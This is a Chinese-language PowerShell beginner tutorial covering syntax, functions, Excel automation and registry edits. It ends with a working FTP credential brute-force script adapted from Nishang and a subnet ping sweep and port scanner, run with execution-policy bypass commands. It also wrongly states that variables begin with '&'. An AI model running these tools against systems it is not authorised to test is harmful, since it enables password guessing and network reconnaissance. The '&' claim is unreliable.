PowerShell入门学习
一、概要
- Powershell是运行在windows机器上实现系统和应用程序管理自动化的命令行脚本环境。
- powershell需要.NET环境的支持,同时支持.NET对象。之所以将Powershell 定位为Power,是因为它完全支持对象,且其可读性,易用性,可以位居当前所有shell之首
- powershell有四个版本,分别为1.0,2.0,3.0 ,4.0
- 在window7或者Windows Server 2008中,内置有PowerShell 2.0,可以升级为3.0,4.0。
- 在Windows 8 或者Windows server 2012中,内置有PowerShell 3.0,可以升级为4.0。
- 在Windows 8.1或者Windows server 2012 R2中,默认是4.0版本。
- 以下知识点通过PowerShell 在线教程总结,更详细的可以进入到链接中学习!
二、PowerShell命令集
1、命令集cmdlets
- 类似于UNIX和CMD,PowerShell也有自己的命令———
cmdlets
是Powershell的内部命令,cmdlet
的类型名为System.Management.Automation.CmdletInfo
,在网上我找到了其中文说明,再用到的时候可以查找
2、别名
- 在上面我们可以发现
cmdlet
的名称由一个动词和一个名词组成,功能一目了然,但长度却过长。这时我们就需要用到“别名”了!Powershell内部也实现了很多常用命令的别名。例如Get-ChildItem
,列出当前的子文件或目录。它有两个别名:ls
和dir
,这两个别名来源于unix的shell和windows的cmd。 - 可以通过
Get-Alias -name 别名
查询别名所指的真实cmdlet命令
- 查看可用的别名:
ls alias:
或Get-Alias
- 查看所有别名和指向cmdlet的别名的个数(按降序排列):
ls alias: | Group-Object definition | sort -Descending Count
上图为一部分结果
三、Powershell语法
1、变量
- 变量都是以
&
开头的,剩余字符可以是数字、字母、下划线的任意字符,且不区分大小写。 - 变量赋值符
=
,其几乎可以把任何数据赋值给一个变量
- 交换两个变量的值
- 自动变量
- 一旦打开Powershell就会自动加载的变量
- 列表传送->
- 指定类型定义变量:
[变量类型]$变量名
2、数组
- 创建数组
$array = 1,2,3,4
$array = 1..4
$array=1,"2017",([System.Guid]::NewGuid()),(get-date)
$a=@() # 空数组
$a=,"1" # 一个元素的数组
- 访问数组:
$array[0]
- 判断一个变量是否为数组:
$test -is [array]
- 数组的追加:
$books += "元素4"
- 强类型数组:
[int[]] $nums=@()
- 哈希表:使用数字寻址或数据类型进行寻址
- 创建哈希表:
$stu=@{ Name = "小明";Age="12";sex="man" }
- 如上可使用
$stu["Name"]
访问对应Name
的值 - 可以在创建哈希表时就使用数组:
$stu=@{ Name = "小明";Age="12";sex="男";Books="三国演义","围城","哈姆雷特" }
- 哈希表的插入与删除:
$Student=@{}
$Student.Name="hahaha"
$stu.Remove("Name")
- 创建哈希表:
3、条件判断
- 比较运算符
-eq
:等于-ne
:不等于-gt
:大于-ge
:大于等于-lt
:小于-le
:小于等于-contains
:包含-notcontains
:不包含
- 布尔运算
-and
:和-or
:或-xor
:异或-not
:逆
if-else
语句if(条件满足){
如果条件满足就执行代码
}
else
{
如果条件不满足
}
- 循环语句while
while($n -gt 0){
code
}
四、Powershell函数
1、定义函数
- 函数的结构由三部分组成:函数名,参数,函数体
Function FuncName (args[])
{
code;
}
- 删除函数
- 控制台定义的函数只会在当前会话生效,一旦控制台退出,会自动消失。
- 在不关闭控制台的条件下删除一个已经定义好的函数,可是使用虚拟驱动器的方法:
del Function:函数名
2、函数的参数
- 万能参数:给一个函数定义参数最简单的是使用
$args
这个内置的参数。它可以识别任意个参数。尤其适用哪些参数可有可无的函数。$args
是一个数组类型。function sayHello
{
if($args.Count -eq 0)
{
"No argument!"
}
else
{
$args | foreach {"Hello,$($_)"}
}
}
- 无参数调用时:
sayHello
- 一个参数调用:
sayHello LiLi
- 多个参数调用时:
sayHello LiLi Lucy Tom
- 无参数调用时:
- 设置参数名称并定义默认值
function StringContact($str1="moss",$str2="fly")
{
return $str1+$str2
}
Return
语句- Powershell会将函数中所有的输出作为返回值,但是也可以通过
return
语句指定具体的我返回值。 Return
语句会将指定的值返回,同时也会中断函数的执行,return
后面的语句会被忽略。
- Powershell会将函数中所有的输出作为返回值,但是也可以通过
3、异常处理
Try{
$connection.open()
$success = $true
}Catch{
$success = $false
}
4、支持的函数
- Powershell已经提供了许多用户能够使用的预定义函数,这些函数可以通过
Function:PSDrive
虚拟驱动器查看
- 作用
Clear-Host
:清除屏幕的缓存help,man
:查看命令的帮助文档mkdir,md
:通过new-Item
创建子目录more
:分屏输出管道结果prompt
:返回提示文本TabExpansion
:Tab键的自动完成提示X
:调用Set-Location
定位到指定的驱动器根目录
五、Powershell脚本
- 编写
- 如果脚本不是很长,可以直接在控制台中要执行的语句重定向给一个脚本文件。
- 非常方便的还是用文本文档编辑器,编辑完保存为
.ps1
后缀即可。
- 如果脚本不是很长,可以直接在控制台中要执行的语句重定向给一个脚本文件。
- 运行
.\路径\文件名
- 将脚本的执行语句保存为别名,可以像执行一个命令一样执行一个脚本
- PowerShell也有自己的集成开发环境——PowerShell ISE来编写脚本,也就是我们常见的IDE环境,用起来很方便~我参考学习了如何利用Powershell ISE调试PS脚本
- cmd本地权限绕过执行:
PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1
六、Powershell管道和重定向
1、管道
- 把上一条命令的输出作为下一条命令的输入
- 例:通过
ls
获取当前目录的所有文件信息,然后通过Sort -Descending
对文件信息按照Name
降序排列,最后将排序好的文件的Name
和Mode
格式化成Table
输出
2、重定向
- 把命令的输出保存到文件中,
>
为覆盖,>>
为追加。
七、应用
1、Office互操作
- PowerShell可以通过COM接口和Office程序交互,最常用的是操作Excel,下面我们开始学习操作Excel。
- 创建一个可见的Excel对象:
$excel.Visible=$true
- 打开一个现成的工作簿:
$workbook = $excel.Workbooks.Open("XXX.xlsx")
- 创建一个新的工作簿:
$workbook = $excel.Workbooks.Add()
- 选择某一个工作表(这里的下标从一开始):
$worksheet = $workbook.Worksheets.Item(1)
- 保存修改后的工作表:
$workbook.SaveAs("D:\Desktop\hello.xlsx")
- 操作数据
- 利用以上语法我们对已存在的一个Excel表格进行数据的写入。
- 打印九九乘法表
$excel = New-Object -ComObject Excel.Application
$workbook = $excel.Workbooks.Open("C:\Users\zyx\Desktop\1.xlsx")
$worksheet = $workbook.Worksheets.Item(1)
for ($i = 1; $i -le 9; $i++) {
# 第一行
$worksheet.Cells.item(1, $i + 1) = $i
# 第一列
$worksheet.Cells.item($i + 1, 1) = $i
# 它们的乘积
for ($j = 1; $j -le 9; $j++) {
$worksheet.Cells.item($i + 1, $j + 1) = $i * $j
}
}
- 命令行运行上面脚本
- 打印九九乘法表
- 读取一个Excel表格中的数据
$excel = New-Object -ComObject Excel.Application
$workbook = $excel.Workbooks.Open("C:\Users\zyx\Desktop\1.xlsx")
$worksheet = $workbook.Worksheets.Item(1)
for ($i = 1; $i -le 10; $i++) {
for ($j = 1; $j -le 10; $j++) {
Write-Host -NoNewline $worksheet.Cells.item($i, $j).Text "`t"
}
Write-Host
}
里面的`t是PowerShell中的制表符,每个数据之间使用制表符来分隔;write-host为写到控制台,-NoNewline表示显示在控制台的信息不以换行结尾。
- 利用以上语法我们对已存在的一个Excel表格进行数据的写入。
2、文件管理
- 文件管理命令。
Set-Location
:别名cd
,切换工作目录。Get-Location
:别名pwd
,获取当前工作目录。Get-ChildItem
:获取当前目录下的所有文件。Get-Item
:获取给定文件的信息。Get-Command -Noun item
:查看所有文件操作的命令。
- 如我们查看桌面上某个应用的信息,可以使用
Get-Item .\名称.lnk
(因为基本为快捷方式所以需要lnk后缀)
3、注册表操作
- 读取注册表
- 工作目录切换到某个注册表内:
Set-Location 'HKCU:\Control Panel\Desktop\MuiCached'
- 获取当前目录下注册表键的值:
Get-Item .
- 获取当前注册表项的属性值:
Get-ItemProperty . MachinePreferredUILanguages
- 工作目录切换到某个注册表内:
- 编辑注册表项
- 我们修改一个安全的注册表:
$path = "HKCU:\Control Panel\Desktop"
- 新建注册表项:
New-Item –Path $path –Name HelloKey
- 修改项的属性:
Set-ItemProperty -path $path\hellokey -name Fake -Value fuck
- 删除项的属性:
Remove-ItemProperty -path $path\hellokey -name Fake
- 删除整个注册表项:
Remove-Item -path $path\hellokey -Recurse
- 我们修改一个安全的注册表:
4、将自己编写的简单脚本变成工具供他人使用
- 我们使用PowerShell自带的开发工具PowerShell ISE来编写脚本
- 我们首先借用WMI对象写一个可以输出计算机C盘信息的命令:
Get-WmiObject win32_logicaldisk | ?{$_.DeviceID -like "C:"}
- 接下来我们指定某个计算机:
Get-WmiObject -computername localhost -class win32_logicaldisk | ?{$_.DeviceID -like "C:"}
- 我们的目的是给别人这个脚本,对方直接调用这个脚本后直接输入命令就可以用啦
- 现在将其写入一个脚本,我们可以使用
ctrl+J
看到脚本大概的格式并运用,内容如下:<#
.Synopsis
This is for diskinfo
.DESCRIPTION
This is for remote computer
.EXAMPLE
diskinfo -computername remote
#>
function Get-diskinfo
{
[CmdletBinding()]
Param
(
# Param 帮助描述
[Parameter(Mandatory=$true)]
[string[]]$ComputerName,
$bogus
) Get-WmiObject -computername $ComputerName -class win32_logicaldisk | ?{$_.DeviceID -like "C:"}
}
- 我们可以运行脚本
.\Diskinfo.ps1
,通过Get-help Diskinfo -full
查看使用解释等等 - 现在我们就可以使用我们写的这个简单的脚本工具了
- 调用脚本:
. .\Diskinfo.ps1
- 使用:
get-diskinfo -ComputerName localhost
- 调用脚本:
5、服务爆破
借助Nishang中的渗透脚本,我们对FTP爆破
首先在我的虚拟机win7中开启ftp服务,参考win7下如何建立ftp服务器
测试ftp
- 网页输入
ftp://IP地址
会提示输入用户名和密码
- 可以登陆进去即可
- 网页输入
修改脚本,内容如下:
function Invoke-BruteForce
{ [CmdletBinding()] Param(
[Parameter(Mandatory = $true, Position = 0, ValueFromPipeline=$true)]
[Alias("PSComputerName","CN","MachineName","IP","IPAddress","Identity","Url","Ftp","Domain","DistinguishedName")]
[String]
$ComputerName, [Parameter(Position = 1, Mandatory = $true, ValueFromPipeline=$true)]
[Alias('Users')]
[String]
$UserList, [Parameter(Position = 2, Mandatory = $true)]
[Alias('Passwords')]
[String]
$PasswordList, [Parameter(Position = 3, Mandatory = $true)] [ValidateSet("SQL","FTP","ActiveDirectory","LocalAccounts","Web")]
[String]
$Service = "FTP", [Parameter(Position = 4, Mandatory = $false)]
[Switch]
$StopOnSuccess, [Parameter(Position = 6, Mandatory = $false)]
[UInt32]
$Delay = 0
) Process
{
# Write-Verbose用于打印详细信息
Write-Verbose "Starting Brute-Force and Delay is $Delay." # 获取用户名与密码字典
$usernames = Get-Content -ErrorAction SilentlyContinue -Path $UserList
$passwords = Get-Content -ErrorAction SilentlyContinue -Path $PasswordList
if (!$usernames) {
$usernames = $UserList
Write-Verbose "UserList file does not exist."
Write-Verbose $usernames
}
if (!$passwords) {
$passwords = $PasswordList
Write-Verbose "PasswordList file does not exist."
Write-Verbose $passwords
} # Brute Force FTP
if ($service -eq "FTP")
{
# 机器名的处理:若ftp://开始直接获取名字,若没有直接加上
if($ComputerName -notMatch "^ftp://")
{
$source = "ftp://" + $ComputerName
}
else
{
$source = $ComputerName
}
Write-Output "Brute Forcing FTP on $ComputerName" :UsernameLoop foreach ($username in $usernames)
{
foreach ($Password in $Passwords)
{
try
{
# 调用.net中的FTP库进行连接
$ftpRequest = [System.Net.FtpWebRequest]::Create($source)
$ftpRequest.Method = [System.Net.WebRequestMethods+Ftp]::ListDirectoryDetails # 通过Verbose输出的信息
Write-Verbose "Trying $userName : $password" # 进行认证连接
$ftpRequest.Credentials = new-object System.Net.NetworkCredential($userName, $password) # 获取返回信息
$result = $ftpRequest.GetResponse()
$message = $result.BannerMessage + $result.WelcomeMessage # 打印信息到控制台
Write-Output "Match $username : $Password"
$success = $true # 判断是否要得到结果立刻退出
if ($StopOnSuccess)
{
break UsernameLoop
}
} catch
{
$message = $error[0].ToString()
$success = $false
}
# 延时爆破
Start-Sleep -Seconds $Delay
}
}
}
} }
阅读相关手册对一些参数进行解读
属性名 可选参数值 属性说明 CmdletBinding类 定义PowerShell的行为 Parameter类 定义的参数为静态参数 Mandatory $True, $False 指定参数是否是必要参数,强制用户输入 Position 整数 指定参数位置,如果用户没有指定具体参数名称,那么PowerShell将根据该值按序填充相应的参数 ValueFromPipeline $True, $False 是否接受来自管道中的值 Alias 字符串 指定参数的另一个名称 ValidateSet 集合 检验参数值是否在指定的属性集合中 ErrorAction 抑制内置的错误消息,将ErrorAction设置为“SilentlyContinue”,错误信息就不会输出了 运行爆破:
- 先调用该脚本:
. .\ps.ps1
- 开始爆破:
Invoke-BruteForce -ComputerName localhost地址 -UserList C:\Users\zyx\Desktop\username.txt -PasswordList C:\Users\zyx\Desktop\pass.txt -Service ftp
- 也可以直接用这个命令:
powershell –exec bypass –Command "& {Import-Module 'C:\Users\zyx\Desktop\ps.ps1';Invoke-BruteForce -ComputerName localhost地址 -UserList C:\Users\zyx\Desktop\username.txt -PasswordList C:\Users\zyx\Desktop\pass.txt -Service ftp }"
- 先调用该脚本:
结果
5、端口扫描器
- 以下脚本使用
CmdletBinding
的方法,来设置参数的形式 - 主机存活检测使用Ping来检测(ICMP)
- 端口扫描调用.NET的Socket来进行端口连接,如果连接建立代表端口连接成功
function PortScan {
[CmdletBinding()] Param(
[parameter(Mandatory = $true, Position = 0)]
[ValidatePattern("\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b")]
[string]
$StartAddress, [parameter(Mandatory = $true, Position = 1)]
[ValidatePattern("\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b")]
[string]
$EndAddress, [switch]
$GetHost, [switch]
$ScanPort, [int[]]
$Ports = @(21,22,23,25,53,80,110,139,143,389,443,445,465,873,993,995,1080,1086,1723,1433,1521,2375,3128,3306,3389,3690,5432,5800,5900,6379,7001,7002,7778,8000,8001,8080,8081,8089,8161,8888,9000,9001,9060,9200,9300,9080,9090,9999,10051,11211,27017,28017,50030), [int]
$TimeOut = 100
)
Begin {
# 开始之前先调用Ping组件
$ping = New-Object System.Net.Networkinformation.Ping
}
Process {
# 四层循环获取解析IP地址
foreach($a in ($StartAddress.Split(".")[0]..$EndAddress.Split(".")[0])) {
foreach($b in ($StartAddress.Split(".")[1]..$EndAddress.Split(".")[1])) {
foreach($c in ($StartAddress.Split(".")[2]..$EndAddress.Split(".")[2])) {
foreach($d in ($StartAddress.Split(".")[3]..$EndAddress.Split(".")[3])) {
# write-progress用于在shell界面显示一个进度条
write-progress -activity PingSweep -status "$a.$b.$c.$d" -percentcomplete (($d/($EndAddress.Split(".")[3])) * 100)
# 通过Ping命令发送ICMP包探测主机是否存活
$pingStatus = $ping.Send("$a.$b.$c.$d",$TimeOut)
if($pingStatus.Status -eq "Success") {
if($GetHost) {
# 本分支主要解决主机名的问题
# write-progress用于在shell界面显示一个进度条
write-progress -activity GetHost -status "$a.$b.$c.$d" -percentcomplete (($d/($EndAddress.Split(".")[3])) * 100) -Id 1
# 获取主机名
$getHostEntry = [Net.DNS]::BeginGetHostEntry($pingStatus.Address, $null, $null)
}
if($ScanPort) {
# 定义一个开放的端口数组, 存储开放的端口
$openPorts = @()
for($i = 1; $i -le $ports.Count;$i++) {
$port = $Ports[($i-1)]
# write-progress用于在shell界面显示一个进度条
write-progress -activity PortScan -status "$a.$b.$c.$d" -percentcomplete (($i/($Ports.Count)) * 100) -Id 2
# 定义一个Tcp的客户端
$client = New-Object System.Net.Sockets.TcpClient
# 开始连接
$beginConnect = $client.BeginConnect($pingStatus.Address,$port,$null,$null)
if($client.Connected) {
# 加入开放的端口
$openPorts += $port
} else {
# 等待, 这里用于网络延迟, 防止因为网络原因而没有判断到端口的开放而错失很多机会
Start-Sleep -Milli $TimeOut
if($client.Connected) {
$openPorts += $port
}
}
$client.Close()
}
}
if($GetHost) {
# 获取主机名
$hostName = ([Net.DNS]::EndGetHostEntry([IAsyncResult]$getHostEntry)).HostName
}
# 返回对象-哈希表
New-Object PSObject -Property @{
IPAddress = "$a.$b.$c.$d";
HostName = $hostName;
Ports = $openPorts
} | Select-Object IPAddress, HostName, Ports
}
}
}
}
}
}
}
- 开始扫描:
- 调用脚本:
. .\PortSan.ps1
- 扫描:
PortScan -StartAddress 192.168.38.1 -EndAddress 192.168.38.254 -GetHost -ScanPort
- 也可以使用:
powershell –exec bypass –Command "& {Import-Module 'C:\Users\zyx\Desktop\PortScan.ps1';PortScan -StartAddress 192.168.38.1 -EndAddress 192.168.38.254 -GetHost -ScanPort }"
- 调用脚本:
- 扫描结果
参考资料
PowerShell入门学习的更多相关文章
- vue入门学习(基础篇)
vue入门学习总结: vue的一个组件包括三部分:template.style.script. vue的数据在data中定义使用. 数据渲染指令:v-text.v-html.{{}}. 隐藏未编译的标 ...
- Hadoop入门学习笔记---part4
紧接着<Hadoop入门学习笔记---part3>中的继续了解如何用java在程序中操作HDFS. 众所周知,对文件的操作无非是创建,查看,下载,删除.下面我们就开始应用java程序进行操 ...
- Hadoop入门学习笔记---part3
2015年元旦,好好学习,天天向上.良好的开端是成功的一半,任何学习都不能中断,只有坚持才会出结果.继续学习Hadoop.冰冻三尺,非一日之寒! 经过Hadoop的伪分布集群环境的搭建,基本对Hado ...
- PyQt4入门学习笔记(三)
# PyQt4入门学习笔记(三) PyQt4内的布局 布局方式是我们控制我们的GUI页面内各个控件的排放位置的.我们可以通过两种基本方式来控制: 1.绝对位置 2.layout类 绝对位置 这种方式要 ...
- PyQt4入门学习笔记(一)
PyQt4入门学习笔记(一) 一直没有找到什么好的pyqt4的教程,偶然在google上搜到一篇不错的入门文档,翻译过来,留以后再复习. 原始链接如下: http://zetcode.com/gui/ ...
- Hadoop入门学习笔记---part2
在<Hadoop入门学习笔记---part1>中感觉自己虽然总结的比较详细,但是始终感觉有点凌乱.不够系统化,不够简洁.经过自己的推敲和总结,现在在此处概括性的总结一下,认为在准备搭建ha ...
- Retrofit 入门学习
Retrofit 入门学习官方RetrofitAPI 官方的一个例子 public interface GitHubService { @GET("users/{user}/repos&qu ...
- 【转】PowerShell入门(十二):编写PowerShell管理单元和二进制模块
转至:http://www.cnblogs.com/ceachy/archive/2013/03/13/PowerShell_SnapIn.html PowerShell一开始就提出利用管理单元来实现 ...
- 【转】PowerShell入门(十):使用配置文件
转至:http://www.cnblogs.com/ceachy/archive/2013/03/01/PowerShell_Profile.html 在命令行中定义别名.变量和函数,只是将它们添加在 ...
随机推荐
- std::string与char*之临时缓冲区
std::string与char*之临时缓冲区 原文:https://blog.csdn.net/hsshh1988/article/details/80689330 c++文件读取流程如下: ifs ...
- WinPE基础知识之导出表
// 导出的东西包括函数(变量.类)地址,序号,函数(变量.类)名 typedef struct _IMAGE_EXPORT_DIRECTORY { DWORD Characteristics; // ...
- kali linux 安装 qq (deepin-wine)
添加deeepin-wine 依赖 /etc/apt/sources.list: # Generated by deepin-installer deb http://mirrors.aliyun.c ...
- iphone SprintBoard部分私有API总结(不支持iOS8)
本文介绍iOS SrpintBoard框架的部分私有API,具体包括: 获取ios上当前正在运行的所有App的bundle id(不管当前程序是在前台还是后台都可以) 获取ios上当前前台运行的App ...
- java 使用POI导出百万级数据
先看结果吧,这只是测试其中有很多因数影响了性能. 表总数为:7千多万,测试导出100万 表字段有17个字段 最终excel大小有60多兆 总耗时:126165毫秒 差不多2分多钟 其核心简单来说就是分 ...
- 自定义系统类加载器源码分析与forName方法底层剖析
基于上一次[https://www.cnblogs.com/webor2006/p/9240898.html]Launcher的分析继续,上次分析到了这: 接着创建应用类加载器,其创建过程其扩展类加载 ...
- 一步步实现ArcMenu效果
先来看一下最终要实验的效果: 是不是跟国外的一款Path的菜单效果类似,这里的动画采用补间动画去实现,正而操练一下补间动画. 布局和子视图的测量处理: 新建一自定义View继承ViewGroup: 然 ...
- Java&Python&Appium 驱动APP及Desired Capabilities配置
一.摘要 本篇博文,将阐述如何将环境&代码&APP联系起来工作 二.Java代码 我们先看一段真实的java代码,我将他放在了TestNG框架的@BeforeTest里,执行这段即可启 ...
- PAT乙级1042
题目链接 https://pintia.cn/problem-sets/994805260223102976/problems/994805280817135616 题解 用数组count存储字母出现 ...
- config.json读取和存储
json格式的配置文件的读取和存储 public class ConfigHelper { public static T GetConfig<T>(string path) { if ( ...